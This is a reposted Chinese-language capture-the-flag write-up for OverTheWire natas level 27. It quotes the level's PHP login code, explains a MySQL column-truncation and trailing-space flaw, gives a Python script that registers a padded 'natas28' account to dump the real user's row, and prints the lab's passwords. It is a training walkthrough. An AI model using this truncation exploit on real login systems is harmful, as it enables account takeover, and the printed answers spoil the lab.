Overthewire-natas27

Posted wudiiv11

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Overthewire-natas27相关的知识,希望对你有一定的参考价值。

Overthewire level 27 to level 28

function checkCredentials($link,$usr,$pass){

    $user=mysql_real_escape_string($usr);
    $password=mysql_real_escape_string($pass);

    $query = "SELECT username from users where username=\'$user\' and password=\'$password\' ";
    $res = mysql_query($query, $link);
    if(mysql_num_rows($res) > 0){
        return True;
    }
    return False;
}


function validUser($link,$usr){
    $user=mysql_real_escape_string($usr);

    $query = "SELECT * from users where username=\'$user\'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            return True;
        }
    }
    return False;
}


function dumpData($link,$usr){

    $user=mysql_real_escape_string($usr);

    $query = "SELECT * from users where username=\'$user\'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            while ($row = mysql_fetch_assoc($res)) {
                // thanks to Gobo for reporting this bug!
                //return print_r($row);
                return print_r($row,true);
            }
        }
    }
    return False;
}


function createUser($link, $usr, $pass){

    $user=mysql_real_escape_string($usr);
    $password=mysql_real_escape_string($pass);

    $query = "INSERT INTO users (username,password) values (\'$user\',\'$password\')";
    $res = mysql_query($query, $link);
    if(mysql_affected_rows() > 0){
        return True;
    }
    return False;
}


if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
    $link = mysql_connect(\'localhost\', \'natas27\', \'<censored>\');
    mysql_select_db(\'natas27\', $link);
    if(validUser($link,$_REQUEST["username"])) {
        //user exists, check creds
        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
            echo "Here is your data:<br>";
            $data=dumpData($link,$_REQUEST["username"]);
            print htmlentities($data);
        }
        else{
            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
        }
    }
    else {
        //user doesn\'t exist
        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){ 
            echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
        }
    }

    mysql_close($link);
}

这是一个比较直接的利用username, password在后端数据库进行验证登录的过程。在输入完用户名和密码后,后台会去检查是否有当前的用户存在,如果没有则生成一个账号,否则输出该账号的信息。

后台在字符串拼接的时候对sql语句进行了过滤,因此基本排除sql注入的可能性。但是在SQL中还有一种攻击叫截断攻击(SQL Column Truncation),就是当输入了过长的字符串后,超过varchar范围的部分会被截断。在MYSQL的配置中,如果没有开启STRICT_ALL_TABLES选项,则字符串被截断后只会给个warning,而不是error。

CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);

在该题中,每个字段对应的长度是64个char。

另外,在mysql中,字符串尾包含空格时,可以查到不包含空格的结果。即如下两条表达式的结果是一致的

select * from users where username=\'a\';
select * from users where username=\'a \';

基于以上两个信息,当我们往表里插入一个\'name\' + \' \' * 64的账户后,后台如果执行类似于select * from users where username=\'name\'这样的语句,则不仅会把我们插入的账户给查出来,还会查出原本数据库username=\'name\'的账户。

注意这两个函数

function validUser($link,$usr){
    $user=mysql_real_escape_string($usr);

    $query = "SELECT * from users where username=\'$user\'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            return True;
        }
    }
    return False;
}
function dumpData($link,$usr){
    $user=mysql_real_escape_string($usr);

    $query = "SELECT * from users where username=\'$user\'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            while ($row = mysql_fetch_assoc($res)) {
                // thanks to Gobo for reporting this bug!
                //return print_r($row);
                return print_r($row,true);
            }
        }
    }
    return False;
}

validUser并没有对去除$user尾部的空格, 且dumpData用了一个while循环来打印所有符合的账号,这里算是很明显的提示要插入一个和答案相同的账户了。攻击代码如下

import requests

auth = (\'natas27\', \'55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ\')
requests.post(\'http://natas27.natas.labs.overthewire.org\',
                     auth=auth,
                     data={
                         \'username\': \'natas28\' + \' \' * 1000 + \'1\',
                         \'password\': \'123\'})
resp = requests.post(\'http://natas27.natas.labs.overthewire.org\',
                     auth=auth,
                     data={
                         \'username\': \'natas28\',
                         \'password\': \'123\'})
print(resp.text)

第28关密码为JWwR438wkgTsNKBbcJoowyysdM82YjeF

以上是关于Overthewire-natas27的主要内容,如果未能解决你的问题,请参考以下文章

Overthewire-natas28

Overthewire-natas21

Overthewire-natas22

从零开始配置vim(27)——代码片段

从零开始配置vim(27)——代码片段

从零开始配置vim(27)——代码片段